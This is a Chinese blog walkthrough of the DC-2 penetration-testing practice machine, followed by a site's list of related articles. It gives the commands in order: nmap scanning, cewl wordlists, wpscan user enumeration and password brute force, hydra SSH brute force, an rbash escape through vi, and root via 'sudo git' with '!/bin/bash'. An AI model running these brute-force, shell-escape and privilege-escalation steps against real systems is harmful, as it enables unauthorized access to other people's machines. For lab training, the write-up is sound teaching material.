DC-2靶机渗透测试(cewl,wpscan,hydra爆破,rbash逃逸,vi提权,git提权)

2024-01-01 15:58

本文主要是介绍DC-2靶机渗透测试(cewl,wpscan,hydra爆破,rbash逃逸,vi提权,git提权),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

一. 环境

二. 信息收集(识别目标主机,端口,拿到flag1)

01. 主机发现

02.访问地址192.168.1.8:80

03. 注意到nmap扫描时有这样一个提示,基本可以确认需要手动配置hosts文件

04. 配置hosts文件,再次访问,拿到flag1

​三. wpscan枚举,cwel生成字典,爆破获取密码,登录用户,拿到flag2

01. 使用cewl生成密码

02. 确定是wordpress,使用wpscan工具扫描,枚举出了用户

03. wpscan爆破拿到密码

04. 利用dirb工具 或 dirsearch工具进行目录扫描,找到登录界面

05. 登录tom用户,没有找到flag;登录jerry用户,拿到flag

四. Hydra爆破ssh密码,进行ssh远程登录,拿到flag3

01. hydra爆破ssh(这里可以用上面的密码字典和账号)

02. 爆破成功,ssh远程登录,tom成功登录,找到flag3

03. cat无法查看文件,被“rbash”限制了,尝试用vi,

五. 获取su命令权限,利用su提权到jerry获取flag4

01. 尝试使用vi绕过,但没有成功。下面是vi绕过rbash方法。

02. 判断需要添加环境变量,拿到su权限。(根据echo $PATH返回的内容判断的)

03. su提权到jerry,拿到flag4。

六. 最后可能是需要拿到root权限,获取final-flag5

01. 列出目前可执行的命令,利用git提权 

02. 在交互式界面输入!/bin/bash,获取root权限

03. 拿到final-flag.txt


一. 环境

靶机:192.168.1.8

攻击机kali:192.168.1.209

(l网络配置都是NAT模式)

----开始---渗透

二. 信息收集(识别目标主机,端口,拿到flag1)

01. 主机发现

1. nmap -sP 192.168.1.0/24  或  arp-scan -l    #识别目标主机2. nmap -sn 192.168.1.0/24 #主机发现3. nmap -sS -A -p- 192.168.1.184  #识别目标主机服务,端口-A 全面系统检测、启用脚本检测、扫描等-sS 半开扫描,很少有系统能把它记入系统日志。不过,需要Root权限

nmap扫描后,发现80,7744端口

02.访问地址192.168.1.8:80

从80端口寻找突破口,访问一下http://192.168.1.8:80,发现URL栏写的不是靶机的ip,而是http://dc-2/,而很明显,DNS没有解析出来

03. 注意到nmap扫描时有这样一个提示,基本可以确认需要手动配置hosts文件

04. 配置hosts文件,再次访问,拿到flag1

sudo vim /etc/hosts       #编辑host文件
在文件添加:192.168.1.8(靶机ip) dc-2

三. wpscan枚举,cwel生成字典,爆破获取密码,登录用户,拿到flag2

WordPress 是一个免费的开源内容管理系统,用 PHP 编写,并与 MySQL 或 MariaDB 数据库配对。功能包括插件架构和模板系统。 cewl是一个网页关键字抓取工具,cewl是一个kali自带的密码生成工具,WordPress有一个kali自带扫描工具wpscan可以爆破网站的用户名,想到用关键字作为密码继续进行爆破。

通过flag1中的cewl--->生成字典,wordpress--->wpscan扫描工具(可以爆破网站的用户名)

01. 使用cewl生成密码

1. cewl -w dc2_passwords.txt http://dc-2  #生成字典

02. 确定是wordpress,使用wpscan工具扫描,枚举出了用户

1. wpscan --url dc-2 -e u 或 wpscan --url http://dc-2 --enumerate u #暴力枚举用户名得出结果有三个用户admin,jerry,tom,将这三个用户保存在us.txt文件中(可以用vi写入)wpscan --url dc-2    #扫描wordpress的版本和ip等信息2. 开始爆破wpscan --url http://dc-2 -U users.txt dc2_Passswords.txt    或者wpscan --ignore-main-redirect --url 192.168.1.8 --enumerate u --force

03. wpscan爆破拿到密码

wpscan --ignore-main-redirect --url 192.168.1.8 --enumerate u --force

04. 利用dirb工具 或 dirsearch工具进行目录扫描,找到登录界面

1. dirb http://dc-2 或者 python dirsearch.py -u http://dc-2 #目录扫描

05. 登录tom用户,没有找到flag;登录jerry用户,拿到flag

flag2中提示wordpress找不到利用漏洞,目录遍历没有获取有用的信息。

四. Hydra爆破ssh密码,进行ssh远程登录,拿到flag3

01. hydra爆破ssh(这里可以用上面的密码字典和账号)

1. hydra -L user.dic -P pwd.dic ssh://192.168.1.104 -s 7744 -vV

02. 爆破成功,ssh远程登录,tom成功登录,找到flag3

03. cat无法查看文件,被“rbash”限制了,尝试用vi,

1. compgen -c       #查看可以使用的指令
2. vi flag3.txt     #查看内容

 提示tom、jerry和su,flag4的获取需要su提权到jerry

五. 获取su命令权限,利用su提权到jerry获取flag4

su命令被限制,无法进行操作,需要绕过rbash命令限制。(可以了解下rbash逃逸)

01. 尝试使用vi绕过,但没有成功。下面是vi绕过rbash方法。

vi   #直接vi编辑 (ESC-->shift+:)执行下面两条命令
:set shell=/bin/sh
:shell

02. 判断需要添加环境变量,拿到su权限。(根据echo $PATH返回的内容判断的)

1. echo $PATH #查看路径
2. #添加环境变量export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

03. su提权到jerry,拿到flag4。

六. 最后可能是需要拿到root权限,获取final-flag5

sudo -l  #列出目前用户可执行与无法执行的指令。
//--git提权
sudo git help push #进入git交互式界面
!/bin/bash         #输入命令回车,拿到root权限
//--拿到final_flag.txt
cd /root         

01. 列出目前可执行的命令,利用git提权 

02. 在交互式界面输入!/bin/bash,获取root权限

03. 拿到final-flag.txt

这篇关于DC-2靶机渗透测试(cewl,wpscan,hydra爆破,rbash逃逸,vi提权,git提权)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/559762

相关文章

git stash命令基本用法详解

《gitstash命令基本用法详解》gitstash是Git中一个非常有用的命令,它可以临时保存当前工作区的修改,让你可以切换到其他分支或者处理其他任务,而不需要提交这些还未完成的修改,这篇文章主要... 目录一、基本用法1. 保存当前修改(包括暂存区和工作区的内容)2. 查看保存了哪些 stash3. 恢

python多线程并发测试过程

《python多线程并发测试过程》:本文主要介绍python多线程并发测试过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、并发与并行?二、同步与异步的概念?三、线程与进程的区别?需求1:多线程执行不同任务需求2:多线程执行相同任务总结一、并发与并行?1、

IDEA实现回退提交的git代码(四种常见场景)

《IDEA实现回退提交的git代码(四种常见场景)》:本文主要介绍IDEA实现回退提交的git代码(四种常见场景),具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录1.已提交commit,还未push到远端(Undo Commit)2.已提交commit并push到

Git可视化管理工具(SourceTree)使用操作大全经典

《Git可视化管理工具(SourceTree)使用操作大全经典》本文详细介绍了SourceTree作为Git可视化管理工具的常用操作,包括连接远程仓库、添加SSH密钥、克隆仓库、设置默认项目目录、代码... 目录前言:连接Gitee or github,获取代码:在SourceTree中添加SSH密钥:Cl

IDEA中Git版本回退的两种实现方案

《IDEA中Git版本回退的两种实现方案》作为开发者,代码版本回退是日常高频操作,IntelliJIDEA集成了强大的Git工具链,但面对reset和revert两种核心回退方案,许多开发者仍存在选择... 目录一、版本回退前置知识二、Reset方案:整体改写历史1、IDEA图形化操作(推荐)1.1、查看提

Git如何修改已提交人的用户名和邮箱

《Git如何修改已提交人的用户名和邮箱》文章介绍了如何修改Git已提交人的用户名和邮箱,包括注意事项和具体步骤,确保操作正确无误... 目录git修改已提交人的用户名和邮箱前言第一步第二步总结git修改已提交人的用户名和邮箱前言需注意以下两点内容:需要在顶层目录下(php就是 .git 文件夹所在的目

SpringBoot中整合RabbitMQ(测试+部署上线最新完整)的过程

《SpringBoot中整合RabbitMQ(测试+部署上线最新完整)的过程》本文详细介绍了如何在虚拟机和宝塔面板中安装RabbitMQ,并使用Java代码实现消息的发送和接收,通过异步通讯,可以优化... 目录一、RabbitMQ安装二、启动RabbitMQ三、javascript编写Java代码1、引入

Nginx设置连接超时并进行测试的方法步骤

《Nginx设置连接超时并进行测试的方法步骤》在高并发场景下,如果客户端与服务器的连接长时间未响应,会占用大量的系统资源,影响其他正常请求的处理效率,为了解决这个问题,可以通过设置Nginx的连接... 目录设置连接超时目的操作步骤测试连接超时测试方法:总结:设置连接超时目的设置客户端与服务器之间的连接

Git提交代码详细流程及问题总结

《Git提交代码详细流程及问题总结》:本文主要介绍Git的三大分区,分别是工作区、暂存区和版本库,并详细描述了提交、推送、拉取代码和合并分支的流程,文中通过代码介绍的非常详解,需要的朋友可以参考下... 目录1.git 三大分区2.Git提交、推送、拉取代码、合并分支详细流程3.问题总结4.git push

Git中恢复已删除分支的几种方法

《Git中恢复已删除分支的几种方法》:本文主要介绍在Git中恢复已删除分支的几种方法,包括查找提交记录、恢复分支、推送恢复的分支等步骤,文中通过代码介绍的非常详细,需要的朋友可以参考下... 目录1. 恢复本地删除的分支场景方法2. 恢复远程删除的分支场景方法3. 恢复未推送的本地删除分支场景方法4. 恢复